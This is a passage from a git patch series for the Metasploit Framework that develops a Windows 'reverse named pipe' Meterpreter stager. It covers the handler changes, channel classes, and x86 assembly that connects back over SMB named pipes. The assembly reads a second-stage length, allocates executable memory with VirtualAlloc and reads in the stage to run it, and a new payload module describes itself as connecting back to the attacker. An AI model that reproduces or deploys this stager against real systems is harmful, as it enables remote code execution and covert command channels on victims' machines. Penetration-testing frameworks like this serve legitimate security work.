self.passive_dispatcher = opts[:passive_dispatcher] - STDERR.puts("init_meterp: 3\n") self.response_timeout = opts[:timeout] || self.class.default_timeout self.send_keepalives = true @@ -134,7 +131,6 @@ def init_meterpreter(sock,opts={}) self.encode_unicode = false # The SSL certificate is being passed down as a file path - STDERR.puts("init_meterp: 4\n") if opts[:ssl_cert] if ! ::File.exists? opts[:ssl_cert] elog("SSL certificate at #{opts[:ssl_cert]} does not exist and will be ignored") @@ -145,39 +141,28 @@ def init_meterpreter(sock,opts={}) end if opts[:passive_dispatcher] - STDERR.puts("init_meterp: 5\n") initialize_passive_dispatcher - STDERR.puts("init_meterp: 6\n") register_extension_alias('core', ClientCore.new(self)) - STDERR.puts("init_meterp: 7\n") initialize_inbound_handlers - STDERR.puts("init_meterp: 8\n") initialize_channels # Register the channel inbound packet handler register_inbound_handler(Rex::Post::Meterpreter::Channel) - STDERR.puts("init_meterp: 9\n") else - STDERR.puts("init_meterp: 10\n") # Switch the socket to SSL mode and receive the hello if needed if capabilities[:ssl] and not opts[:skip_ssl] swap_sock_plain_to_ssl() end - STDERR.puts("init_meterp: 11\n") register_extension_alias('core', ClientCore.new(self)) - STDERR.puts("init_meterp: 12\n") initialize_inbound_handlers - STDERR.puts("init_meterp: 13\n") initialize_channels - STDERR.puts("init_meterp: 14\n") # Register the channel inbound packet handler register_inbound_handler(Rex::Post::Meterpreter::Channel) - STDERR.puts("init_meterp: 15\n") monitor_socket end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb index a1d7e6c148020..6ab8eae73e4cc 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb @@ -55,15 +55,8 @@ def NamedPipeClientChannel.open(client, params) # Passes the channel initialization information up to the base class. # def initialize(client, cid, type, flags) - STDERR.puts("NP client: #{client.inspect}\n") - STDERR.puts("NP cid: #{cid.inspect}\n") - STDERR.puts("NP type: #{type.inspect}\n") - STDERR.puts("NP flags: #{flags.inspect}\n") - super(client, cid, type, flags) - STDERR.puts("Parent initialised\n") - lsock.extend(SocketInterface) lsock.extend(DirectChannelWrite) lsock.channel = self diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb index f09641c537c10..a150a76d25e42 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb @@ -41,11 +41,6 @@ def self.request_handler(client, packet) pid = packet.get_tlv_value( TLV_TYPE_CHANNEL_PARENTID ) name = packet.get_tlv_value( TLV_TYPE_NAMED_PIPE_NAME ) - STDERR.puts("New connection received on the named pipe") - STDERR.puts("cid : #{cid.inspect}\n") - STDERR.puts("pid : #{pid.inspect}\n") - STDERR.puts("name: #{name.inspect}\n") - channel = client.find_channel(pid) return false if channel.nil? @@ -54,13 +49,10 @@ def self.request_handler(client, packet) 'Comm' => channel.client } - STDERR.puts("Creating new named pipe client\n") client_channel = NamedPipeClientChannel.new(client, pid, NamedPipeClientChannel, CHANNEL_FLAG_SYNCHRONOUS) - STDERR.puts("client_channel created\n") client_channel.params = params - STDERR.puts("queuing it up\n") @@server_channels[channel] ||= ::Queue.new @@server_channels[channel].enq(client_channel) @@ -141,10 +133,7 @@ def accept(opts = {}) protected def _accept(nonblock = false) - STDERR.puts("waiting for a connection\n") result = @@server_channels[self].deq(nonblock) - STDERR.puts("accepted: #{result.inspect}\n") - result end From 1a8ef35dfa18f6dca682dfbf8bc8fa1aa1e64596 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 21 Apr 2016 12:30:46 +1000 Subject: [PATCH 04/23] Fix issue with tracking of server channels --- lib/msf/core/handler/reverse_named_pipe.rb | 9 ++++ .../named_pipe_server_channel.rb | 45 ++++++++++++++----- 2 files changed, 42 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/handler/reverse_named_pipe.rb b/lib/msf/core/handler/reverse_named_pipe.rb index b049e40b00312..7476382949350 100644 --- a/lib/msf/core/handler/reverse_named_pipe.rb +++ b/lib/msf/core/handler/reverse_named_pipe.rb @@ -98,6 +98,11 @@ def start_handler if channel self.pending_connections += 1 lqueue.push(channel) + + unless server_pipe.repeats? + server_pipe.close + break + end end rescue Errno::ENOTCONN nil @@ -133,6 +138,10 @@ def start_handler # pass this right through to the handler, the channel should "just work" handle_connection(channel.lsock, opts) + + unless server_pipe.repeats? + break + end rescue StandardError elog("Exception raised from handle_connection: #{$ERROR_INFO.class}: #{$ERROR_INFO}\n\n#{$ERROR_POSITION.join("\n")}") end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb index a150a76d25e42..ac3b8affdf4c2 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb @@ -39,22 +39,16 @@ def self.request_handler(client, packet) cid = packet.get_tlv_value( TLV_TYPE_CHANNEL_ID ) pid = packet.get_tlv_value( TLV_TYPE_CHANNEL_PARENTID ) - name = packet.get_tlv_value( TLV_TYPE_NAMED_PIPE_NAME ) + #name = packet.get_tlv_value( TLV_TYPE_NAMED_PIPE_NAME ) - channel = client.find_channel(pid) + server_channel = client.find_channel(pid) - return false if channel.nil? + return false if server_channel.nil? - params = { - 'Comm' => channel.client - } - - client_channel = NamedPipeClientChannel.new(client, pid, NamedPipeClientChannel, CHANNEL_FLAG_SYNCHRONOUS) + client_channel = server_channel.create_client(pid, cid) - client_channel.params = params - - @@server_channels[channel] ||= ::Queue.new - @@server_channels[channel].enq(client_channel) + @@server_channels[server_channel] ||= ::Queue.new + @@server_channels[server_channel].enq(client_channel) true end @@ -130,6 +124,33 @@ def accept(opts = {}) result end + def create_client(parent_id, client_id) + + # we are no long associated with this channel, it'll be wrapped by another + @client.remove_channel(self) + + client_channel = NamedPipeClientChannel.new(@client, parent_id, NamedPipeClientChannel, CHANNEL_FLAG_SYNCHRONOUS) + client_channel.params = { + 'Comm' => @client + } + + @client.add_channel(client_channel) + + # we don't own the client any more, so we have to let it go + @cid = client_id + if @cid + # a client ID means that there's a new server channel running that we need + # to bind to as that's the one that's listening. + @client.add_channel(self) + end + + client_channel + end + + def repeats? + params[:repeats] == true + end + protected def _accept(nonblock = false) From 7678cf96ba73aef17486df5af3d2fab939972b84 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 21 Apr 2016 12:57:29 +1000 Subject: [PATCH 05/23] Fix stupid mistake in the handler resulting in no cleanup --- lib/msf/core/handler/reverse_named_pipe.rb | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/handler/reverse_named_pipe.rb b/lib/msf/core/handler/reverse_named_pipe.rb index 7476382949350..7ddcb942c0171 100644 --- a/lib/msf/core/handler/reverse_named_pipe.rb +++ b/lib/msf/core/handler/reverse_named_pipe.rb @@ -84,12 +84,14 @@ def pipe_name def start_handler queue = ::Queue.new - server_pipe = session.net.named_pipe.create({ + self.server_pipe = session.net.named_pipe.create({ listen: true, name: datastore['PIPENAME'], repeat: datastore['ExitOnSession'] == false }) + server_pipe = self.server_pipe + self.listener_thread = framework.threads.spawn(listener_name, false, queue) { |lqueue| loop do # Accept a client connection @@ -98,11 +100,6 @@ def start_handler if channel self.pending_connections += 1 lqueue.push(channel) - - unless server_pipe.repeats? - server_pipe.close - break - end end rescue Errno::ENOTCONN nil @@ -138,10 +135,6 @@ def start_handler # pass this right through to the handler, the channel should "just work" handle_connection(channel.lsock, opts) - - unless server_pipe.repeats? - break - end rescue StandardError elog("Exception raised from handle_connection: #{$ERROR_INFO.class}: #{$ERROR_INFO}\n\n#{$ERROR_POSITION.join("\n")}") end From b31f800a90714924ac33d479bcbb94a8a5e8d6b1 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 21 Apr 2016 18:09:56 +1000 Subject: [PATCH 06/23] Stager for reverse_named_pipe, bunch of fixes, add info --- lib/msf/base/sessions/meterpreter.rb | 2 +- lib/msf/core/handler.rb | 2 +- lib/msf/core/handler/reverse_named_pipe.rb | 13 +- lib/msf/core/payload/stager.rb | 8 +- lib/msf/core/payload/transport_config.rb | 2 +- .../payload/windows/reverse_named_pipe.rb | 169 +++++++++--------- lib/msf/core/session.rb | 1 - lib/rex/post/meterpreter/client.rb | 2 +- .../named_pipe_client_channel.rb | 4 +- .../named_pipe_server_channel.rb | 9 +- .../stagers/windows/reverse_named_pipe.rb | 33 ++++ 11 files changed, 138 insertions(+), 107 deletions(-) create mode 100644 modules/payloads/stagers/windows/reverse_named_pipe.rb diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index a2c031f93a0c5..7329c0c24eee8 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -51,7 +51,7 @@ def initialize(rstream, opts={}) :ssl => supports_ssl?, :zlib => supports_zlib? } - + # # The caller didn't request to skip ssl, so make sure we support it if not opts[:skip_ssl] opts.merge!(:skip_ssl => (not supports_ssl?)) diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb index 6792d83abecc2..1af0f66238a2f 100644 --- a/lib/msf/core/handler.rb +++ b/lib/msf/core/handler.rb @@ -193,7 +193,7 @@ def interrupt_wait_for_session # def create_session(conn, opts={}) # If there is a parent payload, then use that in preference. - return parent_payload.create_session(conn, opts) if (parent_payload) + return parent_payload.create_session(conn, opts) if parent_payload # If the payload we merged in with has an associated session factory, # allocate a new session. diff --git a/lib/msf/core/handler/reverse_named_pipe.rb b/lib/msf/core/handler/reverse_named_pipe.rb index 7ddcb942c0171..50640969e6385 100644 --- a/lib/msf/core/handler/reverse_named_pipe.rb +++ b/lib/msf/core/handler/reverse_named_pipe.rb @@ -17,7 +17,6 @@ module Handler module ReverseNamedPipe include Msf::Handler - #include Msf::Handler::Reverse::Comm include Msf::PostMixin # @@ -44,7 +43,8 @@ def initialize(info = {}) super register_options([ - OptString.new('PIPENAME', [true, 'Name of the pipe to listen on', 'msf-pipe']) + OptString.new('PIPENAME', [true, 'Name of the pipe to listen on', 'msf-pipe']), + OptString.new('PIPEHOST', [true, 'Host of the pipe to connect to', '.']) ], Msf::Handler::ReverseNamedPipe) self.conn_threads = [] @@ -74,10 +74,6 @@ def human_name "reverse named pipe" end - def pipe_name - datastore['PIPENAME'] - end - # # Starts monitoring for an inbound connection. # @@ -87,6 +83,7 @@ def start_handler self.server_pipe = session.net.named_pipe.create({ listen: true, name: datastore['PIPENAME'], + host: datastore['PIPEHOST'], repeat: datastore['ExitOnSession'] == false }) @@ -165,12 +162,12 @@ def stop_handler protected def listener_name - @listener_name |= "ReverseNamedPipeHandlerListener-#{pipe_name}-#{datastore['SESSION']}" + @listener_name |= "ReverseNamedPipeHandlerListener-#{datastore['PIPENAME']}-#{datastore['SESSION']}" @listener_name end def worker_name - @worker_name |= "ReverseNamedPipeHandlerWorker-#{pipe_name}-#{datastore['SESSION']}" + @worker_name |= "ReverseNamedPipeHandlerWorker-#{datastore['PIPENAME']}-#{datastore['SESSION']}" @worker_name end diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index cf3e51a70976e..2797d3247d261 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -156,9 +156,7 @@ def generate_stage(opts={}) def handle_connection(conn, opts={}) # If the stage should be sent over the client connection that is # established (which is the default), then go ahead and transmit it. - if (stage_over_connection?) - opts = {} - + if stage_over_connection? if respond_to? :include_send_uuid if include_send_uuid uuid_raw = conn.get_once(16, 1) @@ -200,8 +198,8 @@ def handle_connection(conn, opts={}) # The connection should always have a peerhost (even if it's a # tunnel), but if it doesn't, erroring out here means losing the # session, so make sure it does, just to be safe. - if conn.respond_to? :peerhost - sending_msg << " to #{conn.peerhost}" + if conn.respond_to?(:peerhost) + #sending_msg << " to #{conn.peerhost.inspect}" end print_status(sending_msg) diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index 99a6c8a0642c6..976984ab9013e 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -19,7 +19,7 @@ def transport_config_reverse_tcp(opts={}) def transport_config_reverse_named_pipe(opts={}) { :scheme => 'pipe', - :lhost => datastore['LHOST'], + :lhost => datastore['PIPEHOST'], :uri => "/#{datastore['PIPENAME']}" }.merge(timeout_config) end diff --git a/lib/msf/core/payload/windows/reverse_named_pipe.rb b/lib/msf/core/payload/windows/reverse_named_pipe.rb index ad280957ef0bc..0a6961d5ba403 100644 --- a/lib/msf/core/payload/windows/reverse_named_pipe.rb +++ b/lib/msf/core/payload/windows/reverse_named_pipe.rb @@ -2,7 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' -require 'msf/core/payload/windows/send_uuid' +#require 'msf/core/payload/windows/send_uuid' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' @@ -27,8 +27,8 @@ module Payload::Windows::ReverseNamedPipe # def generate conf = { - name: datastore['NAME'], - host: datastore['LHOST'], + name: datastore['PIPENAME'], + host: datastore['PIPEHOST'] || '.', retry_count: datastore['ReverseConnectRetries'], reliable: false } @@ -57,14 +57,14 @@ def transport_config(opts={}) # # Generate and compile the stager # - def generate_reverse_tcp(opts={}) + def generate_reverse_named_pipe(opts={}) combined_asm = %Q^ cld ; Clear the direction flag. call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} start: pop ebp - #{asm_reverse_tcp(opts)} + #{asm_reverse_named_pipe(opts)} ^ Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string end @@ -95,66 +95,48 @@ def required_space # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh # @option opts [Bool] :reliable Whether or not to enable error handling code # - def asm_reverse_tcp(opts={}) + def asm_reverse_named_pipe(opts={}) - retry_count = [opts[:retry_count].to_i, 1].max - reliable = opts[:reliable] - encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first - encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first + retry_count = [opts[:retry_count].to_i, 1].max + #reliable = opts[:reliable] + reliable = false + # we have to double-escape because of metasm + full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}" asm = %Q^ ; Input: EBP must be the address of 'api_call'. - ; Output: EDI will be the socket for the connection to the server - ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) - - reverse_tcp: - push '32' ; Push the bytes 'ws2_32',0,0 onto the stack. - push 'ws2_' ; ... - push esp ; Push a pointer to the "ws2_32" string on the stack. - push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} - call ebp ; LoadLibraryA( "ws2_32" ) - - mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) - sub esp, eax ; alloc some space for the WSAData structure - push esp ; push a pointer to this stuct - push eax ; push the wVersionRequested parameter - push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} - call ebp ; WSAStartup( 0x0190, &WSAData ); - - set_address: - push #{retry_count} ; retry counter + ; Output: EDI will be the handle for the pipe to the server + + ;int 3 - create_socket: - push #{encoded_host} ; host in little-endian format - push #{encoded_port} ; family AF_INET and port number - mov esi, esp ; save pointer to sockaddr struct - - push eax ; if we succeed, eax will be zero, push zero for the flags param. - push eax ; push null for reserved parameter - push eax ; we do not specify a WSAPROTOCOL_INFO structure - push eax ; we do not specify a protocol - inc eax ; - push eax ; push SOCK_STREAM - inc eax ; - push eax ; push AF_INET - push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} - call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); - xchg edi, eax ; save the socket for later, don't care about the value of eax after this - - try_connect: - push 16 ; length of the sockaddr struct - push esi ; pointer to the sockaddr struct - push edi ; the socket - push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} - call ebp ; connect( s, &sockaddr, 16 ); - - test eax,eax ; non-zero means a failure - jz connected + retry_start: + push #{retry_count} ; retry counter + mov esi, esp ; keep track of where the variables are + + try_reverse_named_pipe: + ; Start by setting up the call to CreateFile + xor ebx, ebx ; EBX will be used for pushing zero + push ebx ; hTemplateFile + push ebx ; dwFlagsAndAttributes + push 3 ; dwCreationDisposition (OPEN_EXISTING) + push ebx ; lpSecurityAttributes + push ebx ; dwShareMode + push 0xC0000000 ; dwDesiredAccess (GENERIC_READ|GENERIC_WRITE) + call get_pipe_name + db "#{full_pipe_name}", 0x00 + get_pipe_name: + ; lpFileName (via call) + push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')} + call ebp ; CreateFileA(...) + + ; If eax is -1, then we had a failure. + cmp eax, -1 ; zero means a failure + jnz connected handle_connect_failure: ; decrement our attempt count and try again - dec [esi+8] - jnz try_connect + dec [esi] + jnz try_reverse_named_pipe ^ if opts[:exitfunk] @@ -171,30 +153,39 @@ def asm_reverse_tcp(opts={}) end asm << %Q^ - ; this lable is required so that reconnect attempts include + ; this label is required so that reconnect attempts include ; the UUID stuff if required. connected: + xchg edi, eax ; edi now has the file handle we'll need in future ^ - asm << asm_send_uuid if include_send_uuid + # TODO: add the "write file" equiv of this + #asm << asm_send_uuid if include_send_uuid asm << %Q^ - recv: ; Receive the size of the incoming second stage... - push 0 ; flags - push 4 ; length = sizeof( DWORD ); - push esi ; the 4 byte buffer on the stack to hold the second stage length - push edi ; the saved socket - push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} - call ebp ; recv( s, &dwLength, 4, 0 ); + push ebx ; buffer for lpNumberOfBytesRead + mov ecx, esp + push ebx ; buffer for lpBuffer + mov esi, esp + push ebx ; lpOverlapped + push ecx ; lpNumberOfBytesRead + push 4 ; nNumberOfBytesToRead = sizeof( DWORD ); + push esi ; lpBuffer + push edi ; hFile + push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call ebp ; ReadFile(...) to read the size ^ if reliable asm << %Q^ - ; reliability: check to see if the recv worked, and reconnect + ; reliability: check to see if the file read worked, retry otherwise ; if it fails - cmp eax, 0 - jle cleanup_socket + test eax, eax + jz cleanup_file + mov eax, [esi+4] ; check to see if bytes were read + test eax, eax + jz cleanup_file ^ end @@ -203,7 +194,7 @@ def asm_reverse_tcp(opts={}) mov esi, [esi] ; dereference the pointer to the second stage length push 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT - push esi ; push the newly recieved second stage length. + push esi ; push the newly received second stage length. push 0 ; NULL as we dont care where the allocation is. push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); @@ -212,12 +203,15 @@ def asm_reverse_tcp(opts={}) push ebx ; push the address of the new stage so we can return into it read_more: - push 0 ; flags - push esi ; length - push ebx ; the current address into our second stage's RWX buffer - push edi ; the saved socket - push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} - call ebp ; recv( s, buffer, length, 0 ); + push eax ; space for the number of bytes + mov eax, esp ; store the pointer + push 0 ; lpOverlapped + push eax ; lpNumberOfBytesRead + push esi ; nNumberOfBytesToRead + push ebx ; lpBuffer + push edi ; hFile + push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call ebp ; ReadFile(...) to read the size ^ if reliable @@ -225,8 +219,12 @@ def asm_reverse_tcp(opts={}) ; reliability: check to see if the recv worked, and reconnect ; if it fails cmp eax, 0 - jge read_successful + jz read_failed + pop eax ; get the number of bytes read + cmp eax, 0 + jnz read_succeeded + read_failed: ; something failed, free up memory pop eax ; get the address of the payload push 0x4000 ; dwFreeType (MEM_DECOMMIT) @@ -235,19 +233,24 @@ def asm_reverse_tcp(opts={}) push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) - cleanup_socket: - ; clear up the socket - push edi ; socket handle - push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} - call ebp ; closesocket(socket) + cleanup_file: + ; clear up the named pipe handle + push edi ; named pipe handle + push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')} + call ebp ; CloseHandle(...) ; restore the stack back to the connection retry count pop esi pop esi + pop esi dec [esp] ; decrement the counter ; try again - jmp create_socket + jmp try_reverse_named_pipe + ^ + else + asm << %Q^ + pop eax ; pop bytes read ^ end diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb index 3a84221c7a161..f9140c8b2eabf 100644 --- a/lib/msf/core/session.rb +++ b/lib/msf/core/session.rb @@ -81,7 +81,6 @@ def initialize self.alive = true self.uuid = Rex::Text.rand_text_alphanumeric(8).downcase @routes = RouteArray.new(self) - #self.routes = [] end # Direct descendants diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 24472fe8bb9d9..fabc78b5157f1 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -152,7 +152,7 @@ def init_meterpreter(sock,opts={}) register_inbound_handler(Rex::Post::Meterpreter::Channel) else # Switch the socket to SSL mode and receive the hello if needed - if capabilities[:ssl] and not opts[:skip_ssl] + if capabilities[:ssl] && !opts[:skip_ssl] swap_sock_plain_to_ssl() end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb index 6ab8eae73e4cc..75504e722850b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb @@ -54,7 +54,7 @@ def NamedPipeClientChannel.open(client, params) # # Passes the channel initialization information up to the base class. # - def initialize(client, cid, type, flags) + def initialize(client, cid, type, flags, pipe_name) super(client, cid, type, flags) lsock.extend(SocketInterface) @@ -63,6 +63,8 @@ def initialize(client, cid, type, flags) rsock.extend(SocketInterface) rsock.channel = self + + lsock.initinfo("Pipe (#{pipe_name})", "Session (#{client.tunnel_to_s})") end # diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb index ac3b8affdf4c2..24899fe9bc697 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb @@ -39,13 +39,13 @@ def self.request_handler(client, packet) cid = packet.get_tlv_value( TLV_TYPE_CHANNEL_ID ) pid = packet.get_tlv_value( TLV_TYPE_CHANNEL_PARENTID ) - #name = packet.get_tlv_value( TLV_TYPE_NAMED_PIPE_NAME ) + name = packet.get_tlv_value( TLV_TYPE_NAMED_PIPE_NAME ) server_channel = client.find_channel(pid) return false if server_channel.nil? - client_channel = server_channel.create_client(pid, cid) + client_channel = server_channel.create_client(pid, cid, name) @@server_channels[server_channel] ||= ::Queue.new @@server_channels[server_channel].enq(client_channel) @@ -75,7 +75,6 @@ def self.open(client, params) c = Channel.create(client, 'stdapi_net_named_pipe_server', self, CHANNEL_FLAG_SYNCHRONOUS, [ - {'type'=> TLV_TYPE_NAMED_PIPE_SERVER, 'value' => params[:server] || '.'}, {'type'=> TLV_TYPE_NAMED_PIPE_NAME, 'value' => params[:name]}, {'type'=> TLV_TYPE_NAMED_PIPE_OPEN_MODE, 'value' => open_mode}, {'type'=> TLV_TYPE_NAMED_PIPE_PIPE_MODE, 'value' => params[:pipe_mode] || 0}, @@ -124,12 +123,12 @@ def accept(opts = {}) result end - def create_client(parent_id, client_id) + def create_client(parent_id, client_id, pipe_name) # we are no long associated with this channel, it'll be wrapped by another @client.remove_channel(self) - client_channel = NamedPipeClientChannel.new(@client, parent_id, NamedPipeClientChannel, CHANNEL_FLAG_SYNCHRONOUS) + client_channel = NamedPipeClientChannel.new(@client, parent_id, NamedPipeClientChannel, CHANNEL_FLAG_SYNCHRONOUS, pipe_name) client_channel.params = { 'Comm' => @client } diff --git a/modules/payloads/stagers/windows/reverse_named_pipe.rb b/modules/payloads/stagers/windows/reverse_named_pipe.rb new file mode 100644 index 0000000000000..e8b6cd5a0b39e --- /dev/null +++ b/modules/payloads/stagers/windows/reverse_named_pipe.rb @@ -0,0 +1,33 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/reverse_named_pipe' +require 'msf/core/payload/windows/reverse_named_pipe' + +module MetasploitModule + + CachedSize = 281 + + include Msf::Payload::Stager + include Msf::Payload::Windows::ReverseNamedPipe + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse Named Pipe (SMB) Stager', + 'Description' => 'Connect back to the attacker via a named pipe pivot', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseNamedPipe, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + +end + From 021ca2e2637995649939cfa77b0b363b2d8ac4ee Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 21 Apr 2016 18:22:49 +1000 Subject: [PATCH 07/23] Small fixes to the named pipe extension module --- lib/msf/core/payload/stager.rb | 2 +- .../extensions/stdapi/net/named_pipe.rb | 36 ++----------------- 2 files changed, 3 insertions(+), 35 deletions(-) diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index 2797d3247d261..dccd02c814a8a 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -199,7 +199,7 @@ def handle_connection(conn, opts={}) # tunnel), but if it doesn't, erroring out here means losing the # session, so make sure it does, just to be safe. if conn.respond_to?(:peerhost) - #sending_msg << " to #{conn.peerhost.inspect}" + #sending_msg << " to #{conn.peerhost}" end print_status(sending_msg) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/named_pipe.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/named_pipe.rb index 9a1987a4a514b..e82b65cffa039 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/named_pipe.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/named_pipe.rb @@ -3,7 +3,7 @@ require 'thread' require 'rex/socket' require 'rex/post/meterpreter/extensions/stdapi/tlv' -#require 'rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel' +require 'rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel' require 'rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel' require 'rex/logging' @@ -65,17 +65,7 @@ def create(params={}) # Create a named pipe server channel. # def create_named_pipe_server_channel(params) - begin - return SocketSubsystem::NamedPipeServerChannel.open(client, params) - rescue ::Rex::Post::Meterpreter::RequestError => e - #case e.code - #when 10048 - # raise ::Rex::AddressInUse.new(params.localhost, params.localport) - #when 10000 .. 10100 - # raise ::Rex::ConnectionError.new - #end - raise e - end + SocketSubsystem::NamedPipeServerChannel.open(client, params) end # @@ -97,28 +87,6 @@ def create_named_pipe_client_channel(params) end end - # - # Creates a UDP channel. - # - def create_udp_channel(params) - begin - channel = SocketSubsystem::UdpChannel.open(client, params) - if channel != nil - return channel.lsock - end - return nil - rescue ::Rex::Post::Meterpreter::RequestError => e - case e.code - when 10048 - raise ::Rex::AddressInUse.new(params.localhost, params.localport) - when 10000 .. 10100 - raise ::Rex::ConnectionError.new - end - raise e - end - end - - protected attr_accessor :client # :nodoc: From 98d7e9108f5812589ec0a59fc57e106160cdeae7 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 2 May 2016 16:08:04 +1000 Subject: [PATCH 08/23] First pass of x64 stager and accompanying stuff --- .../payload/windows/reverse_named_pipe.rb | 15 +- lib/msf/core/payload/windows/write_uuid.rb | 56 ++++++ .../payload/windows/x64/reverse_named_pipe.rb | 180 +++++++++--------- .../stagers/windows/reverse_named_pipe.rb | 2 +- .../stagers/windows/x64/reverse_named_pipe.rb | 34 ++++ 5 files changed, 182 insertions(+), 105 deletions(-) create mode 100644 lib/msf/core/payload/windows/write_uuid.rb create mode 100644 modules/payloads/stagers/windows/x64/reverse_named_pipe.rb diff --git a/lib/msf/core/payload/windows/reverse_named_pipe.rb b/lib/msf/core/payload/windows/reverse_named_pipe.rb index 0a6961d5ba403..4ac2c8e54f89c 100644 --- a/lib/msf/core/payload/windows/reverse_named_pipe.rb +++ b/lib/msf/core/payload/windows/reverse_named_pipe.rb @@ -2,7 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' -#require 'msf/core/payload/windows/send_uuid' +require 'msf/core/payload/windows/write_uuid' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' @@ -18,7 +18,7 @@ module Payload::Windows::ReverseNamedPipe include 